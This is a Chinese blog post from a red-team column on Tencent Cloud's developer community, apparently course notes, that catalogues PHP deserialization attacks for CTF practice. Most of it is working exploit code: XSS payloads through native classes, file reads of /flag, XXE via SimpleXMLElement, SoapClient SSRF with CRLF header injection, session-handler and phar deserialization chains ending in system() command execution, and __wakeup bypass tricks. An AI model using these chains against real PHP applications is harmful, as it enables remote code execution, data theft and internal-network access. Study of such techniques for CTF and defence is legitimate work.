前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >几种反序列化漏洞

几种反序列化漏洞

原创
作者头像
红队蓝军
发布2023-09-13 16:36:13
4230
发布2023-09-13 16:36:13
举报
文章被收录于专栏:红队蓝军

1.PHP魔术方法

代码语言:javascript
复制
<?php
class c {
    private $name = 'hacker';
 
    function __construct() { // 构造方法,new时调用
        echo 'construct<br>';
    }
 
    function __serialize() { // 序列化时调用
        echo 'serialize<br>';
        return ['hack'];
    }
 
    function __unserialize($data) { // 反序列化时调用
        echo '__unserialize ';
        print_r($data);
        echo '<br>';
    }
 
    function __sleep() { // 序列化时调用,存在 __serialize 就不调用
        echo 'sleep<br>';
        return [];
    }
 
    function __wakeup() { // 反序列化时调用,存在 __unserialize 就不调用
        echo 'wakeup<br>';
    }
 
    function __debugInfo() { // 对对象使用 var_dump 时调用
        echo 'debugInfo ';
        return [];
    }
 
    function __clone() { // 对对象使用 clone 时调用
        echo '<br>clone<br>';
    }
 
    function __destruct() { // 析构方法,对象销毁时调用
        echo 'destruct<br>';
    }
 
    // 异常处理魔术方法
    function __get($name) { // 获取不存在或不可访问的变量时调用
        echo 'get '.$name.'<br>';
    }
 
    function __set($name, $value) { // 给不存在或不可访问的变量赋值时调用
        echo 'set '.$name.' '.$value.'<br>';
    }
 
    function __isset($name) { // 对不存在或不可访问的变量使用 isset 或 empty 时调用
        echo 'isset '.$name.'<br>';
    }
 
    function __unset($name) { // 对不存在或不可访问的变量使用 unset 时调用
        echo 'unset '.$name.'<br>';
    }
 
    function __call($name, $parameter) { // 调用不存在或不可访问的方法时调用
        echo 'call '.$name.' ';
        print_r($parameter);
        echo '<br>';
    }
 
    static function __callStatic($name, $parameter) { // 调用不存在或不可访问的静态方法时调用
        echo 'callStatic '.$name.' ';
        print_r($parameter);
        echo '<br>';
    }
 
    function __toString() { // 对象被当作字符串使用时调用
        echo 'toString<br>';
        return '';
    }
 
    function __invoke() { // 对象被当作函数调用时调用
        echo 'invoke<br>';
        return '';
    }
}
 
// 创建对象
$c = new c();
var_dump($c);
clone $c;
 
// 序列化
$s = serialize($c);
echo $s.'<br><br>';
 
// 反序列化
$u = unserialize($s);
 
$u->pass;
$u->pass = 'hacker';
isset($u->name);
empty($u->name);
unset($u->name);
 
$u->function(1);
c::function(2);
$u::function(3);
 
echo $u;
$u.'';
$u();

2.PHP原生类

Error类

PHP>7.0,因为存在__toString,可以进行XSS

代码语言:javascript
复制
echo new Error('<script>alert(1)</script>');

Exception类

因为存在__toString,可以进行XSS

代码语言:javascript
复制
echo new Exception('<script>alert(1)</script>');

DirectoryIterator类

因为存在__toString,可以获取符合要求的第一个文件名

代码语言:javascript
复制
echo new DirectoryIterator('glob://flag*');

SplFileObject类

因为存在__toString,可以读取文件内容

代码语言:javascript
复制
echo new SplFileObject('/flag');

SimpleXMLElement

可以造成 xxe

xxe.xml 和 xxe.dtd 构造见我的 XXE 文章,XXE XML外部实体注入(https://www.cnblogs.com/Night-Tac/articles/16931091.html)

代码语言:javascript
复制
SimpleXMLElement('http://127.0.0.1/xxe.xml', 2, TRUE);

SoapClient类

因为存在__call,可以进行SSRF

phpStudy 可以直接通过不注释 php.ini 中的 extension=php_soap.dll 来开启

代码语言:javascript
复制
<?php
// ua是为了覆盖请求头并让请求包后面的其他内容无效
$ua = "ua\r\nX-Forwarded-For: 127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 6\r\n\r\nssrf=1";
 
$soap = new SoapClient(null, array('uri'=>'http://127.0.0.1/', 'location'=>'http://127.0.0.1/ssrf.php', 'user_agent'=>$ua));
$soap->function();

可以通过 NC 看构造的请求包

代码语言:javascript
复制
POST /ssrf.php HTTP/1.1
Host: 127.0.0.1
Connection: Keep-Alive
User-Agent: ua
X-Forwarded-For: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
 
ssrf=1
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://127.0.0.1/#function"
Content-Length: 394
 
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://127.0.0.1/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:function/></SOAP-ENV:Body></SOAP-ENV:Envelope>

3.特殊文件的反序列化

Session反序列化

php.ini 的默认配置 session.serialize_handler = php,Session格式:user|s:3:"xxx";

当配置 session.serialize_handler = php_serialize 时,Session格式:a:1:{s:4:"user";s:3:"xxx";}

当存在两个配置不同的页面并且Session内容可控时,会造成反序列化,例:

先访问这个生成:a:1:{s:4:"user";s:37:"|O:1:"c":1:{s:4:"code";s:6:"whoami";}";}

代码语言:javascript
复制
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['user'] = '|O:1:"c":1:{s:4:"code";s:6:"whoami";}';

再访问这个进行反序列化,session_start 函数会读取 Session 内容并反序列化

代码语言:javascript
复制
<?php
class c{
    function __wakeup() {
        system($this->code);
    }
}
session_start();

phar包反序列化

phar包在被可执行代码的文件包含函数通过 phar:// 处理时会反序列化

生成Payload

代码语言:javascript
复制
<?php
class c{
    public $code = 'whoami';
}
 
$phar = new Phar('1.phar');
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");
 
$o = new c();
$phar->setMetadata($o);
$phar->addFromString('1.txt', '1');
$phar->stopBuffering();

访问进行反序列化

代码语言:javascript
复制
<?php
class c{
    function __wakeup() {
        system($this->code);
    }
}
include('1.phar');

4.绕过

开头

数字

O:+1,PHP<7.2

O

代码语言:javascript
复制
<?php
class c{
    public $code = 'whoami';
    function __wakeup() {
        system($this->code);
    }
}
 
// a:1:{i:0;O:1:"c":1:{s:4:"code";s:6:"whoami";}}
$array = [new c()];
echo serialize($array);
echo '<br>';
 
// C:11:"ArrayObject":61:{x:i:0;a:1:{i:0;O:1:"c":1:{s:4:"code";s:6:"whoami";}};m:a:0:{}}
$obj = new ArrayObject();
$obj->append(new c());
echo serialize($obj);
echo '<br>';
 
// C:16:"SplObjectStorage":54:{x:i:1;O:1:"c":1:{s:4:"code";s:6:"whoami";},N;;m:a:0:{}}
$obj = new SplObjectStorage();
$obj->attach(new c());
echo serialize($obj);
echo '<br>';
 
// C:8:"SplStack":41:{i:6;:O:1:"c":1:{s:4:"code";s:6:"whoami";}}
$obj = new SplStack();
$obj->push(new c());
echo serialize($obj);
echo '<br>';
 
// C:8:"SplQueue":41:{i:4;:O:1:"c":1:{s:4:"code";s:6:"whoami";}}
$obj = new SplQueue();
$obj->enqueue(new c());
echo serialize($obj);
echo '<br>';
 
// C:19:"SplDoublyLinkedList":41:{i:0;:O:1:"c":1:{s:4:"code";s:6:"whoami";}}
$obj = new SplDoublyLinkedList();
$obj->push(new c());
echo serialize($obj);

魔术方法

__wakeup绕过,大于实际值(PHP<=5.5),例:O:1:"c":100...

__destruct绕过,前面抛出异常

__destruct调用,结构错误,例:O:1:"c":1:{xxx}

5.CTF

private序列化有不可见字符,复制会出错,可以urlencode。包含\n、标签这种情况在HTML复制的不对要ctrl+u复制

数字、字符串、数组也可以直接序列化,i:1;、d:1.00;、s:3:"xxx";、a:2:{i:0;s:1:"1";i:1;s:1:"2";}

要求俩值相等,$this->a = &$this->b,这样b改了a也会一起改

看似反序列化的题结果静态函数不需要对象

字符串逃逸,CTFshow-WEB入门-反序列化(https://www.cnblogs.com/Night-Tac/articles/16880648.html)

本文为免杀三期学员笔记:https://www.cnblogs.com/Night-Tac/articles/16932108.html

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1.PHP魔术方法
  • 2.PHP原生类
  • 3.特殊文件的反序列化
  • 4.绕过
  • 5.CTF
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档